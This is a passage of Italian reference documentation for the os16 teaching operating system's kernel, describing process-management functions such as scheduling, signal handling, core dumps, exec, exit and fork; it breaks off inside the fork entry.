'**proc_dump_memory**' - copia di una porzione di memoria in un file

SINTASSI

```
<kernel/proc.h>
void proc_dump_memory (pid_t pid, addr_t address, size_t size,
                       char *name);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`addr_t` ***address***	Indirizzo efficace della memoria.
`size_t` ***size***	Quantità di byte da trascrivere, a partire dall'indirizzo efficace.
`char *`***name***	Nome del file da creare.

DESCRIZIONE

La funzione ***proc_dump_memory()*** salva in un file una porzione di memoria, secondo le coordinate fornita dagli argomenti.

Viene usata esclusivamente da *proc_sig_core(9)* [104.8.6], quando si riceve un segnale per cui è necessario scaricare la memoria di un processo. In quel caso, se il processo eliminato ha i permessi per scrivere nella directory radice, vengono creati due file: uno con l'immagine del segmento codice ('`/core.i`') e l'altro con l'immagine del segmento dati ('`/core.d`').

FILE SORGENTI

'`kernel/proc.h`' [105.9]

'`kernel/proc/proc_sig_core.c`' [105.9.14]

VEDERE ANCHE

fd_open(9) [104.3.8], *fd_write(9)* [104.3.12], *fd_close(9)* [104.3.3].

104.8.5 os16: proc_find(9)

NOME

'**proc_find**' - localizzazione di un processo sulla base dell'indirizzo del segmento dati

SINTASSI

```
<kernel/proc.h>
pid_t proc_find (segment_t segment_d);
```

ARGOMENTI

Argomento	Descrizione
`segment_t` ***segment_d***	Indirizzo del segmento da cercare nella tabella dei processi, come allocato per il segmento dati.

DESCRIZIONE

La funzione ***proc_find()*** scandisce la tabella dei processi, alla ricerca di quel processo il cui segmento dati corrisponde al valore fornito come argomento. Ciò serve per sapere chi sia il processo interrotto, del quale si conosce il valore che, prima dell'interruzione, aveva il registro DS (*data segment*).

Questa funzione viene usata da *proc_scheduler(9)* [104.8.11] e da *sysroutine(9)* [104.8.28].

VALORE RESTITUITO

La funzione restituisce il numero del processo trovato e non è ammissibile che la ricerca possa fallire. Infatti, se così fosse, si produrrebbe un errore fatale, con avvertimento a video, tale da arrestare il funzionamento del kernel.

FILE SORGENTI

'`kernel/proc.h`' [105.9]

'`kernel/proc/proc_table.c`' [105.9.29]

'`kernel/proc/proc_find.c`' [105.9.5]

104.8.6 os16: proc_init(9)

NOME

'**`proc_init`**' - inizializzazione della gestione complessiva dei processi elaborativi

SINTASSI

```
<kernel/proc.h>
extern uint16_t _etext;
void proc_init (void);
```

ARGOMENTI

Argomento	Descrizione
`extern uint16_t` ***_etext;***	La variabile ***_etext*** viene fornita dal compilatore e rappresenta l'indirizzo in cui l'area codice si è conclusa. Il valore di ***_etext*** si riferisce a un'area codice che inizia dall'indirizzo zero, pertanto questo dato viene usato per conoscere la dimensione dell'area codice del kernel.

DESCRIZIONE

La funzione ***proc_init()*** viene usata una volta sola, dalla funzione *main(9)* [104.6], per predisporre la gestione dei processi. Per la precisione svolge le operazioni seguenti:

- carica la tabella IVT, in modo che le interruzioni software $1C_{16}$ e 80_{16} siano dirette correttamente al codice che deve gestirle;
- programma il temporizzatore interno, in modo da produrre una frequenza di circa 18,2 Hz;
- inizializza la tabella dei processi in modo che tutti gli alloggiamenti previsti risultino liberi;
- innesta il file system principale, presupponendo che possa trattarsi soltanto della prima unità a dischetti;
- inizializza correttamente le voci del processo zero, ovvero quelle del kernel, segnando anche come allocata la porzione di memoria utilizzata dal kernel e lo spazio iniziale usato dal BIOS (tabella IVT e BDA);
- abilita le interruzioni hardware del temporizzatore, della tastiera e dell'unità a dischetti: le altre interruzioni hardware rimangono disabilitate.

FILE SORGENTI

'`kernel/proc.h`' [105.9]

'`kernel/proc/proc_table.c`' [105.9.29]

'`kernel/proc/proc_init.c`' [105.9.6]

VEDERE ANCHE

ivt_load(9) [104.8.2], *proc_available(9)* [104.8.3], *sb_mount(9)* [104.3.46].

104.8.7 os16: proc_reference(9)

NOME

'**`proc_reference`**' - puntatore alla voce che rappresenta un certo processo

SINTASSI

```
<kernel/proc.h>
proc_t *proc_reference (pid_t pid);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo cercato nella tabella relativa.

DESCRIZIONE

La funzione ***proc_reference()*** serve a produrre il puntatore all'elemento dell'array ***proc_table[]*** che contiene i dati del processo indicato per numero come argomento.

Viene usata dalle funzioni che non fanno parte del gruppo di '`kernel/proc.h`'.

VALORE RESTITUITO

Restituisce il puntatore all'elemento della tabella ***proc_table[]*** che rappresenta il processo richiesto. Se il numero del processo richiesto non può esistere, la funzione restituisce il puntatore nullo '**`NULL`**'.

FILE SORGENTI

'`kernel/proc.h`' [105.9]

'`kernel/proc/proc_table.c`' [105.9.29]

'`kernel/proc/proc_reference.c`' [105.9.7]

104.8.8 os16: proc_sch_signals(9)

NOME

'**`proc_sch_signals`**' - verifica dei segnali dei processi

SINTASSI

```
<kernel/proc.h>
void proc_sch_signals (void);
```

DESCRIZIONE

La funzione ***proc_sch_signals()*** ha il compito di scandire tutti i processi della tabella ***proc_table[]***, per verificare lo stato di attivazione dei segnali e procedere di conseguenza.

Dal punto di vista pratico, la funzione si limita a scandire i numeri PID possibili, demandando ad altre funzioni il compito di fare qualcosa nel caso fosse attivato l'indicatore di un segnale. Va comunque osservato che os16 si limita a gestire le azioni predefinite, pertanto si può soltanto attivare o inibire i segnali, salvo i casi in cui questi non possono essere mascherati.

Questa funzione viene usata soltanto da *proc_scheduler(9)* [104.8.11], ogni volta che ci si prepara allo scambio con un altro processo.

FILE SORGENTI

'`kernel/proc.h`' [105.9]

'`kernel/proc/proc_scheduler.c`' [105.9.11]

'`kernel/proc/proc_sch_signals.c`' [105.9.8]

VEDERE ANCHE

proc_sig_term(9) [104.8.19], *proc_sig_core(9)* [104.8.14], *proc_sig_chld(9)* [104.8.12], *proc_sig_cont(9)* [104.8.13], *proc_sig_stop(9)* [104.8.18].

104.8.9 os16: proc_sch_terminals(9)

NOME

'**`proc_sch_terminals`**' - acquisizione di un carattere dal terminale attivo

SINTASSI

```
<kernel/proc.h>
void proc_sch_terminals (void);
```

DESCRIZIONE

La funzione ***proc_sch_terminals()*** ha il compito di verificare la presenza di un carattere digitato dalla console. Se verifica che effettivamente è stato digitato un carattere, dopo aver determinato a quale terminale virtuale si riferisce, determina se per quel terminale era già stato accumulato un carattere, e se è effettivamente così, sovrascrive quel carattere ma annota anche che l'inserimento precedente è stato perduto.

Successivamente verifica se quel terminale virtuale è associato a un gruppo di processi; se è così e se il carattere corrisponde alla combinazione [*Ctrl c*], invia il segnale SIGINT a tutti i processi di quel gruppo, ma senza poi accumulare il carattere.

Indipendentemente dal fatto che il terminale appartenga a un gruppo di processi, controlla che il carattere inserito sia stato ottenuto, rispettivamente, con le combinazioni di tasti [*Ctrl q*], [*Ctrl r*], [*Ctrl s*] e [*Ctrl t*], nel qual caso attiva la console virtuale relativa (dalla prima alla quarta), evitando di accumulare il carattere.

Alla fine, scandisce tutti i processi sospesi in attesa di input dal terminale, risvegliandoli (ogni processo deve poi verificare se effettivamente c'è un carattere per sé oppure no, e se non c'è dovrebbe rimettersi in attesa).

Questa funzione viene usata soltanto da *proc_scheduler(9)* [104.8.11], ogni volta che ci si prepara allo scambio con un altro processo.

FILE SORGENTI

'`kernel/proc.h`' [105.9]

'`kernel/proc/proc_scheduler.c`' [105.9.11]

'`kernel/proc/proc_sch_terminals.c`' [105.9.9]

104.8.10 os16: proc_sch_timers(9)

NOME

'**`proc_sch_timers`**' - verifica dell'incremento del contatore del tempo

SINTASSI

```
<kernel/proc.h>
void proc_sch_timers (void);
```

DESCRIZIONE

La funzione ***proc_sch_timers()*** verifica che il calendario si sia incrementato di almeno una unità temporale (per os16 è un secondo soltanto) e se è così, va a risvegliare tutti i processi sospesi in attesa del passaggio di un certo tempo. Tali processi, una volta messi effettivamente in funzione, devono verificare che sia trascorsa effettivamente la quantità di tempo desiderata, altrimenti devono rimettersi a riposo in attesa del tempo rimanente.

Questa funzione viene usata soltanto da *proc_scheduler(9)* [104.8.11], ogni volta che ci si prepara allo scambio con un altro processo.

FILE SORGENTI

'kernel/proc.h' [105.9]

'kernel/proc/proc_scheduler.c' [105.9.11]

'kernel/proc/proc_sch_timers.c' [105.9.10]

104.8.11 os16: proc_scheduler(9)

NOME

'**proc_scheduler**' - schedulatore

SINTASSI

```
<kernel/proc.h>
void proc_scheduler (uint16_t *sp, segment_t *segment_d);
```

ARGOMENTI

Argomento	Descrizione
extern uint16_t _ksp;	L'indice della pila del kernel.
uint16_t *sp	Puntatore all'indice della pila del processo interrotto.
segment_t *segment_d	Puntatore al segmento dati del processo interrotto.

DESCRIZIONE

La funzione ***proc_scheduler()*** viene avviata a seguito di un'interruzione hardware, dovuta al temporizzatore, oppure a seguito di un'interruzione software, dovuta a una chiamata di sistema.

La funzione determina qual è il processo interrotto, scandendo la tabella dei processi alla ricerca di quello il cui segmento dati corrisponde al valore ***segment_d***. Per questo si avvale di *proc_find(9)* [104.8.5].

Successivamente verifica se ci sono processi in attesa di un evento del temporizzatore o del terminale, inoltre verifica se ci sono processi con segnali in attesa di essere presi in considerazione. per fare questo si avvale di *proc_sch_timers(9)* [104.8.10], *proc_sch_terminals(9)* [104.8.9] e *proc_sch_signals(9)* [104.8.8], che provvedono a fare ciò che serve in presenza degli eventi di propria competenza.

Si occupa quindi di annotare il tempo di CPU utilizzato dal processo appena sospeso, misurato in unità di tempo a cui si riferisce il tipo '**clock_t**'.

Successivamente scandisce la tabella dei processi alla ricerca di un altro processo da mettere in funzione, al posto di quello sospeso. Se trova un processo pronto per questo lo elegge a processo attivo, declassando quello sospeso a processo pronto ma in attesa, inoltre aggiorna i valori per le variabili ***sp** e ***segment_d**.

Al termine salva nella variabile globale ***_ksp*** il valore dell'indice della pila del kernel, come appare nelle informazioni della tabella dei processi e poi manda il messaggio «EOI» (*end of interrupt* al «PIC 1» (*programmable interrupt controller*).

Questa funzione viene usata dalla routine *isr_1C(9)* [104.8.1] del file 'kernel/proc/_isr.s' e dalla funzione *sysroutine(9)* [104.8.28].

FILE SORGENTI

'kernel/proc.h' [105.9]

'kernel/proc/_isr.s' [105.9.1]

'kernel/proc/sysroutine.c' [105.9.30]

'kernel/proc/proc_scheduler.c' [105.9.11]

VEDERE ANCHE

proc_find(9) [104.8.5], *proc_sch_timers(9)* [104.8.10], *proc_sch_signals(9)* [104.8.8], *proc_sch_terminals(9)* [104.8.9].

104.8.12 os16: proc_sig_chld(9)

NOME

'**proc_sig_chld**' - procedura associata alla ricezione di un segnale SIGCHLD

SINTASSI

```
<kernel/proc.h>
void proc_sig_chld (pid_t parent, int sig);
```

ARGOMENTI

Argomento	Descrizione
pid_t ***parent***	Numero del processo considerato, il quale potrebbe avere ricevuto un segnale SIGCHLD.
int ***sig***	Numero del segnale: deve trattarsi esclusivamente di quanto corrispondente a SIGCHLD.

DESCRIZIONE

La funzione ***proc_sig_chld()*** si occupa di verificare che il processo specificato con il parametro ***parent*** abbia ricevuto precedentemente un segnale SIGCHLD. Se risulta effettivamente così, allora va a verificare se tale segnale risulta ignorato per quel processo: se è preso in considerazione verifica ancora se quel processo è sospeso proprio in attesa di un segnale SIGCHLD. Se si tratta di un processo che sta attendendo tale segnale, allora viene risvegliato, altrimenti, sempre ammesso che comunque il segnale non sia ignorato, la funzione elimina tutti i processi figli di ***parent***, i quali risultano già defunti, ma non ancora rimossi dalla tabella dei processi (pertanto processi «zombie»).

In pratica, se il processo ***parent*** sta attendendo un segnale SIGCHLD, significa che al risveglio si aspetta di verificare la morte di uno dei suoi processi figli, in modo da poter ottenere il valore di uscita con cui questo si è concluso. Diversamente, non c'è modo di informare il processo ***parent*** di tali conclusioni, per cui a nulla servirebbe continuare a mantenerne le tracce nella tabella dei processi.

Questa funzione viene usata soltanto da *proc_sch_signals(9)* [104.8.8].

FILE SORGENTI

'kernel/proc.h' [105.9]

'kernel/proc/proc_sig_chld.c' [105.9.12]

VEDERE ANCHE

proc_sig_status(9) [104.8.17], *proc_sig_ignore(9)* [104.8.15], *proc_sig_off(9)* [104.8.16].

104.8.13 os16: proc_sig_cont(9)

NOME

'**`proc_sig_cont`**' - ripresa di un processo sospeso in attesa di qualcosa

SINTASSI

```
<kernel/proc.h>
void proc_sig_cont (pid_t pid, int sig);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Numero del processo considerato.
`int` ***sig***	Numero del segnale: deve trattarsi esclusivamente di quanto corrispondente a SIGCONT.

DESCRIZIONE

La funzione ***proc_sig_cont()*** si occupa di verificare che il processo specificato con il parametro ***pid*** abbia ricevuto precedentemente un segnale SIGCONT e che questo non sia stato disabilitato. In tal caso, assegna al processo lo status di «pronto» ('**`PROC_READY`**'), ammesso che non si trovasse già in questa situazione.

Lo scopo del segnale SIGCONT è quindi quello di far riprendere un processo che in precedenza fosse stato sospeso attraverso un segnale SIGSTOP, SIGTSTP, SIGTTIN oppure SIGTTOU.

Questa funzione viene usata soltanto da *proc_sch_signals(9)* [104.8.8].

FILE SORGENTI

'`kernel/proc.h`' [105.9]

'`kernel/proc/proc_sig_cont.c`' [105.9.13]

VEDERE ANCHE

proc_sig_status(9) [104.8.17], *proc_sig_ignore(9)* [104.8.15], *proc_sig_off(9)* [104.8.16].

104.8.14 os16: proc_sig_core(9)

NOME

'**proc_sig_core**' - chiusura di un processo e scarico della memoria su file

SINTASSI

```
<kernel/proc.h>
void proc_sig_core (pid_t pid, int sig);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Numero del processo considerato.
`int` ***sig***	Numero del segnale: deve trattarsi di un segnale a cui si associa in modo predefinito la conclusione e lo scarico della memoria.

DESCRIZIONE

La funzione ***proc_sig_core()*** si occupa di verificare che il processo specificato con il parametro ***pid*** abbia ricevuto precedentemente un segnale tale da richiedere la conclusione e lo scarico della memoria del processo stesso, e che il segnale in questione non sia stato disabilitato. In tal caso, la funzione chiude il processo, ma prima ne scarica la memoria su uno o due file, avvalendosi per questo della funzione *proc_dump_memory(9)* [104.8.4].

Un segnale atto a produrre lo scarico della memoria, potrebbe essere prodotto anche a seguito di un errore rilevato dalla CPU, come una divisione per zero. Tuttavia, il kernel di os16 non riesce a intrappolare errori di questo tipo, dato che dalla tabella IVT vengono presi in considerazione soltanto l'impulso del temporizzatore e le chiamate di sistema. In altri termini, se un programma produce effettivamente un errore così grave da essere rilevato dalla CPU, al sistema operativo non arriva alcuna comunicazione. Pertanto, tali segnali possono essere soltanto provocati deliberatamente.

Lo scarico della memoria, nell'eventualità di un errore così grave, dovrebbe servire per consentire un'analisi dello stato del processo nel momento del verificarsi di un errore fatale. Sotto questo aspetto, va anche considerato che l'area dati dei processi è priva di etichette che possano agevolare l'interpretazione dei contenuti e, di conseguenza, non ci sono strumenti che consentano tale attività.

Questa funzione viene usata soltanto da *proc_sch_signals(9)* [104.8.8].

FILE SORGENTI

'`kernel/proc.h`' [105.9]

'`kernel/proc/proc_sig_core.c`' [105.9.14]

VEDERE ANCHE

proc_sig_status(9) [104.8.17], *proc_sig_ignore(9)* [104.8.15], *proc_sig_off(9)* [104.8.16], *proc_dump_memory(9)* [104.8.4].

104.8.15 os16: proc_sig_ignore(9)

NOME

'**proc_sig_ignore**' - verifica dello stato di inibizione di un segnale

SINTASSI

```
<kernel/proc.h>
int proc_sig_ignore (pid_t pid, int sig);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Numero del processo considerato.
`int` ***sig***	Numero del segnale da verificare.

DESCRIZIONE

La funzione ***proc_sig_ignore()*** verifica se, per un certo processo ***pid***, il segnale ***sig*** risulti inibito.

Questa funzione viene usata da *proc_sig_chld(9)* [104.8.12], *proc_sig_cont(9)* [104.8.13], *proc_sig_core(9)* [104.8.14], *proc_sig_stop(9)* [104.8.18] e *proc_sig_term(9)* [104.8.19], per verificare se un segnale sia stato inibito, prima di applicarne le conseguenze, nel caso fosse stato ricevuto.

VALORE RESTITUITO

Valore	Significato
1	Il segnale risulta bloccato (inibito).
0	Il segnale è abilitato regolarmente.

FILE SORGENTI

'`kernel/proc.h`' [105.9]

'`kernel/proc/proc_sig_ignore.c`' [105.9.15]

VEDERE ANCHE

proc_sig_chld(9) [104.8.12], *proc_sig_cont(9)* [104.8.13], *proc_sig_core(9)* [104.8.14], *proc_sig_stop(9)* [104.8.18]m *proc_sig_term(9)* [104.8.19].

104.8.16 os16: proc_sig_on(9)

NOME

'**proc_sig_on**', '**proc_sig_off**' - registrazione o cancellazione di un segnale per un processo

SINTASSI

```
<kernel/proc.h>
void proc_sig_on  (pid_t pid, int sig);
void proc_sig_off (pid_t pid, int sig);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Numero del processo considerato.
`int` ***sig***	Numero del segnale da registrare o da cancellare.

DESCRIZIONE

La funzione ***proc_sig_on()*** annota per il processo ***pid*** la ricezione del segnale ***sig***; la funzione ***proc_sig_off()*** procede invece in senso opposto, cancellando quel segnale.

La funzione ***proc_sig_off()*** viene usata quando l'azione prevista per un segnale che risulta ricevuto è stata eseguita, allo scopo di riportare l'indicatore di quel segnale in una condizione di riposo. Si tratta delle funzioni *proc_sig_chld(9)* [104.8.12], *proc_sig_cont(9)* [104.8.13], *proc_sig_core(9)* [104.8.14], *proc_sig_stop(9)* [104.8.18] e *proc_sig_term(9)* [104.8.19].

La funzione ***proc_sig_on()*** viene usata quando risulta acquisito un segnale o quando il contesto lo deve produrre, per annotarlo. Si tratta delle funzioni *proc_sys_exit(9)* [104.8.21] e *proc_sys_kill(9)* [104.8.23].

FILE SORGENTI

'`kernel/proc.h`' [105.9]

'`kernel/proc/proc_sig_on.c`' [105.9.17]

'`kernel/proc/proc_sig_off.c`' [105.9.16]

VEDERE ANCHE

proc_sys_exit(9) [104.8.21], *proc_sys_kill(9)* [104.8.23], *proc_sig_chld(9)* [104.8.12], *proc_sig_cont(9)* [104.8.13], *proc_sig_core(9)* [104.8.14], *proc_sig_stop(9)* [104.8.18], *proc_sig_term(9)* [104.8.19].

104.8.17 os16: proc_sig_status(9)

NOME

'**`proc_sig_status`**' - verifica dello stato di ricezione di un segnale

SINTASSI

```
<kernel/proc.h>
int proc_sig_status (pid_t pid, int sig);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Numero del processo considerato.
`int` ***sig***	Numero del segnale da verificare.

DESCRIZIONE

La funzione ***proc_sig_status()*** verifica se, per un certo processo ***pid***, il segnale ***sig*** risulti essere stato ricevuto (registrato).

Questa funzione viene usata da *proc_sig_chld(9)* [104.8.12], *proc_sig_cont(9)* [104.8.13], *proc_sig_core(9)* [104.8.14], *proc_sig_stop(9)* [104.8.18] e *proc_sig_term(9)* [104.8.19], per verificare se un segnale è stato ricevuto effettivamente, prima di applicarne eventualmente le conseguenze.

VALORE RESTITUITO

Valore	Significato
1	Il segnale risulta ricevuto.
0	Il segnale risulta cancellato.

FILE SORGENTI

'`kernel/proc.h`' [105.9]

'`kernel/proc/proc_sig_status.c`' [105.9.18]

VEDERE ANCHE

proc_sig_chld(9) [104.8.12], *proc_sig_cont(9)* [104.8.13], *proc_sig_core(9)* [104.8.14], *proc_sig_stop(9)* [104.8.18], *proc_sig_term(9)* [104.8.19].

104.8.18 os16: proc_sig_stop(9)

NOME

'**`proc_sig_stop`**' - sospensione di un processo

SINTASSI

```
<kernel/proc.h>
void proc_sig_stop (pid_t pid, int sig);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Numero del processo considerato.
`int` ***sig***	Numero del segnale: deve trattarsi di SIGSTOP, SIGTSTP, SIGTTIN o SIGTTOU.

DESCRIZIONE

La funzione ***proc_sig_stop()*** si occupa di verificare che il processo specificato con il parametro ***pid*** abbia ricevuto precedentemente un segnale SIGSTOP, SIGTSTP, SIGTTIN o SIGTTOU, e che questo non sia stato disabilitato. In tal caso, sospende il processo, lasciandolo in attesa di un segnale (SIGCONT).

Questa funzione viene usata soltanto da *proc_sch_signals(9)* [104.8.8].

FILE SORGENTI

'`kernel/proc.h`' [105.9]

'`kernel/proc/proc_sig_stop.c`' [105.9.19]

VEDERE ANCHE

proc_sig_status(9) [104.8.17], *proc_sig_ignore(9)* [104.8.15], *proc_sig_off(9)* [104.8.16].

104.8.19 os16: proc_sig_term(9)

NOME

'**`proc_sig_term`**' - conclusione di un processo

SINTASSI

```
<kernel/proc.h>
void proc_sig_term (pid_t pid, int sig);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Numero del processo considerato.
`int` ***sig***	Numero del segnale: deve trattarsi di un segnale per cui si associa la conclusione del processo, ma senza lo scarico della memoria.

DESCRIZIONE

La funzione ***proc_sig_term()*** si occupa di verificare che il processo specificato con il parametro ***pid*** abbia ricevuto precedentemente un segnale per cui si prevede generalmente la conclusione del processo. Inoltre, la funzione verifica che il segnale non sia stato inibito, con l'eccezione che per il segnale SIGKILL un'eventuale inibizione non viene considerata (in quanto segnale non mascherabile). Se il segnale risulta ricevuto e valido, procede con la conclusione del processo.

Questa funzione viene usata soltanto da *proc_sch_signals(9)* [104.8.8].

FILE SORGENTI

'`kernel/proc.h`' [105.9]

'`kernel/proc/proc_sig_term.c`' [105.9.20]

VEDERE ANCHE

proc_sig_status(9) [104.8.17], *proc_sig_ignore(9)* [104.8.15], *proc_sig_off(9)* [104.8.16], *proc_sys_exit(9)* [104.8.21].

104.8.20 os16: proc_sys_exec(9)

NOME

'**`proc_sys_exec`**' - sostituzione di un processo esistente con un altro, ottenuto dal caricamento di un file eseguibile

SINTASSI

```
<kernel/proc.h>
int proc_sys_exec (uint16_t *sp, segment_t *segment_d, pid_t pid,
                   const char *path,
                   unsigned int argc, char *arg_data,
                   unsigned int envc, char *env_data);
```

ARGOMENTI

Argomento	Descrizione
`uint16_t` ***sp***	Puntatore alla variabile contenente l'indice della pila dei dati del processo che ha eseguito la chiamata di sistema *execve(2)* [98.10].
`segment_t` ***segment_d***	Puntatore alla variabile contenente il valore del segmento dati del processo che ha eseguito la chiamata di sistema *execve(2)* [98.10].
`pid_t` ***pid***	Il numero del processo corrispondente.
`const char` ***path***	Il percorso assoluto del file da caricare ed eseguire.
`unsigned int` ***argc***	La quantità di argomenti per l'avvio del nuovo processo, incluso il nome del processo stesso.
`char` ***arg_data***	Una sequenza di stringhe (dopo la terminazione di una inizia la successiva), ognuna contenente un argomento da passare al processo.
`unsigned int` ***envc***	La quantità di variabili di ambiente da passare al nuovo processo.
`char` ***env_data***	Una sequenza di stringhe (dopo la terminazione di una inizia la successiva), ognuna contenente l'assegnamento di una variabile di ambiente.

I parametri ***arg_data*** e ***env_data*** sono stringhe multiple, nel senso che sono separate le une dalle altre dal codice nullo di terminazione. Per sapere quante sono effettivamente le stringhe da cercare a partire dai puntatori che costituiscono effettivamente questi due parametri, si usano ***argc*** e ***envc***.

DESCRIZIONE

La funzione ***proc_sys_exec()*** serve a mettere in pratica la chiamata di sistema *execve(2)* [98.10], destinata a rimpiazzare il processo in corso con un nuovo processo, caricato da un file eseguibile.

La funzione ***proc_sys_exec()***, dopo aver verificato che si tratti effettivamente di un file eseguibile valido e che ci siano i permessi per metterlo in funzione, procede all'allocazione della memoria, dividendo se necessario l'area codice da quella dei dati, quindi legge il file e copia opportunamente le componenti di questo nelle aree di memoria allocate.

Terminato il caricamento del file, viene ricostruita in memoria la pila dei dati del nuovo processo. Prima si mettono sul fondo le stringhe delle variabili di ambiente e quelle degli argomenti della chiamata, quindi si aggiungono i puntatori alle stringhe delle variabili di ambiente, ricostruendo così l'array noto convenzionalmente come '**`envp[]`**', continuando con l'aggiunta dei puntatori alle stringhe degli argomenti della chiamata, per riprodurre l'array '**`argv[]`**'. Per ricostruire gli argomenti della chiamata della funzione ***main()*** dell'applicazione, vanno però aggiunti ancora: il puntatore all'inizio dell'array delle stringhe che descrivono le variabili di ambiente, il puntatore all'array delle stringhe che descrivono gli argomenti della chiamata e il valore che rappresenta la quantità di argomenti della chiamata.

Figura 104.145. Caricamento degli argomenti della chiamata della funzione ***main()***.

argc argv envp

$FFB0_{16}$	2		$FFD6_{16}$		$FFBC_{16}$		$FFC2_{16}$		$FFC5_{16}$		NULL		$FFC8_{16}$		$FFDD_{16}$		$FFBF_{16}$
$FFC0_{16}$	NULL		l	s	\0	–	l	\0	C	O	N	S	O	L	E	=	$FFCF_{16}$
$FFD0_{16}$	/	d	e	v	/	c	o	n	s	o	l	e	\0	P	A	T	$FFDF_{16}$
$FFE0_{16}$	H	=	/	b	i	n	:	/	u	s	r	/	b	i	n	:	$FFEF_{16}$
$FFF0_{16}$	/	s	b	i	n	:	/	u	s	r	/	s	b	i	n	\0	$FFFF_{16}$

Fatto ciò, vanno aggiunti tutti i valori necessari allo scambio dei processi, costituiti dai vari registri da rimpiazzare.

Superato il problema della ricostruzione della pila dei dati, la funzione ***proc_sys_exec()*** predispone i descrittori di standard input, standard output e standard error, quindi libera la memoria usata dal processo chiamante e ne rimpiazza i dati nella tabella dei processi con quelli del nuovo processo caricato.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_EXEC`**'.

FILE SORGENTI

'`lib/unistd/execve.c`' [106.17.13]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/proc/proc_sys_exec.c`' [105.9.21]

VEDERE ANCHE

execve(2) [98.10], *sys(2)* [98.37], *isr_80(9)* [104.8.1], *sysroutine(9)* [104.8.28], *proc_scheduler(9)* [104.8.11], *path_inode(9)* [104.3.36], *inode_check(9)* [104.3.16], *inode_put(9)* [104.3.24], *inode_file_read(9)* [104.3.18], *dev_io(9)* [104.1.1], *fd_close(9)* [104.3.3].

104.8.21 os16: proc_sys_exit(9)

NOME

'**proc_sys_exit**' - chiusura di un processo elaborativo

SINTASSI

```
<kernel/proc.h>
void proc_sys_exit (pid_t pid, int status);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo da concludere.
`int` ***status***	Il valore di uscita del processo da concludere.

DESCRIZIONE

La funzione ***proc_sys_exit()*** conclude il processo indicato come argomento, chiudendo tutti i descrittori di file che risultano ancora aperti e liberando la memoria. Precisamente compie i passaggi seguenti:

- aggiorna la tabella dei processi indicando per questo lo stato di «zombie» e annotando il valore di uscita;
- chiude i descrittori di file che risultano aperti;
- chiude l'inode della directory corrente;
- se si tratta del processo principale di un gruppo di processi, allora chiude anche il terminale di controllo;
- libera la memoria utilizzata dal processo, verificando comunque che l'area usata per il codice non sia abbinata anche a un altro processo, nel qual caso l'area del codice verrebbe preservata;
- se ci sono dei processi figli di quello che si va a chiudere, questi vengono abbandonati e affidati al processo numero uno ('**init**');
- se sono stati abbandonati dei processi, invia il segnale SIGCHLD al processo numero uno ('**init**');
- invia al processo genitore il segnale, in modo che possa valutare, eventualmente, il valore di uscita del processo ormai defunto.

Questa funzione viene usata principalmente da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**SYS_EXIT**', e anche dalle funzioni *proc_sig_core(9)* [104.8.14] e *proc_sig_term(9)* [104.8.19].

FILE SORGENTI

'`lib/unistd/_exit.c`' [106.17.1]

'`lib/stdlib/_Exit.c`' [106.10.1]

'`lib/sys/os16/sys.s`' [106.12.15]

'kernel/proc.h' [105.9]

'kernel/proc/_isr.s' [105.9.1]

'kernel/proc/sysroutine.c' [105.9.30]

'kernel/proc/proc_sys_exit.c' [105.9.22]

VEDERE ANCHE

_exit(2) [98.2], *sys(2)* [98.37], *isr_80(9)* [104.8.1], *sysroutine(9)* [104.8.28], *proc_scheduler(9)* [104.8.11], *proc_sig_core(9)* [104.8.14], *proc_sig_term(9)* [104.8.19], *fd_close(9)* [104.3.3], *inode_put(9)* [104.3.24], *proc_sig_on(9)* [104.8.16].

104.8.22 os16: proc_sys_fork(9)

NOME

'**proc_sys_fork**' - sdoppiamento di un processo elaborativo

SINTASSI

```
<kernel/proc.h>
pid_t proc_sys_fork (pid_t ppid, uint16_t sp);
```

ARGOMENTI

Argomento	Descrizione
pid_t *ppid*	Il numero del processo che chiede di creare un figlio uguale a se stesso.
uint16_t *sp*	Indice della pila del processo da duplicare.

DESCRIZIONE

La funzione ***proc_sys_fork()*** crea un duplicato del processo chiamante, il quale diventa figlio dello stesso. Precisamente, la funzione compie i passaggi seguenti:

- cerca un alloggiamento libero nella tabella dei processi e procede solo se questo risulta disponibile effettivamente;
- per sicurezza, analizza i processi che risultano essere defunti (zombie) e ne inizializza i valori delle allocazioni in memoria;
- alloca la memoria necessaria a ottenere la copia del processo, tenendo conto che se il processo originario divide l'area codice da quella dei dati, è necessario allocare soltanto lo spazio per l'area dati, in quanto quella del codice può essere condivisa (essendo usata soltanto in lettura);
- compila le informazioni necessarie nella tabella dei processi, relative al nuovo processo da produrre, dichiarandolo come figlio di quello chiamante;
- incrementa il contatore di utilizzo dell'inode che rappresenta la directory corrente, in quanto un nuovo processo la va a utilizzare;
- duplica i descrittori di file già aperti per il processo da duplicare, incrementando di conseguenza il contatore dei riferimenti nella tabella dei file;

- modifica i valori dei registri di segmento nella pila dei dati riferita al processo nuovo, per renderli coerenti con la nuova collocazione in memoria;
- mette il nuovo processo nello stato di pronto, annotandolo così nella tabella dei processi;
- restituisce il numero del nuovo processo: nel processo figlio, invece, non restituisce alcunché.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_FORK`**'.

VALORE RESTITUITO

